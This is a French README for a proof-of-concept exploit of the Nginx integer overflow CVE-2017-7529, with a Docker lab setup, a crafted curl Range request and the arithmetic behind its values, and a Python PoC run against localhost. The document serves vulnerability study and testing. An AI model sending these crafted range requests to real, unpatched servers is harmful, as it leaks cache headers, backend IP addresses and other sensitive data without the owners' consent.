
Exploit de preuve de concept pour le débordement d'entier de Nginx (CVE-2017-7529) permettant la divulgation des en-têtes de cache via des requêtes de plage forgées, avec un environnement de laboratoire basé sur Docker et un script POC en Python.
Lorsque les modules standard de nginx sont utilisés, un attaquant peut envoyer une requête header contenant un champ range malveillant afin d'obtenir les informations d'en-tête du fichier cache dans la réponse. Dans certaines configurations, l'en-tête du fichier cache peut contenir l'adresse IP du serveur backend ou d'autres informations sensibles, entraînant ainsi une fuite d'informations.
Cette vulnérabilité affecte toutes les versions de Nginx de 0.5.6 à 1.13.2 avec les modules de configuration par défaut. Il suffit d'activer le cache pour qu'un attaquant puisse envoyer des requêtes malveillantes et mener une attaque à distance provoquant une fuite d'informations.
Lorsque le serveur Nginx utilise un cache de proxy, un attaquant exploitant cette vulnérabilité peut obtenir la véritable IP du backend du serveur ou d'autres informations sensibles.
Selon notre analyse, cette vulnérabilité est d'une faible difficulté d'exploitation et peut être classée dans la catégorie « low-hanging fruit » ; elle présente également une certaine valeur d'exploitation dans les attaques réseau réelles.
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
Le
8000devant-p 8000:80représente le port de la machine physique, il peut être spécifié librement.
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
On constate Content-Length: 16585, il faut trouver une valeur supérieure à ce nombre, par exemple 17208, la deuxième valeur de range est 0x8000000000000000-17208, soit 9223372036854758600
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
Observer le résultat :

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png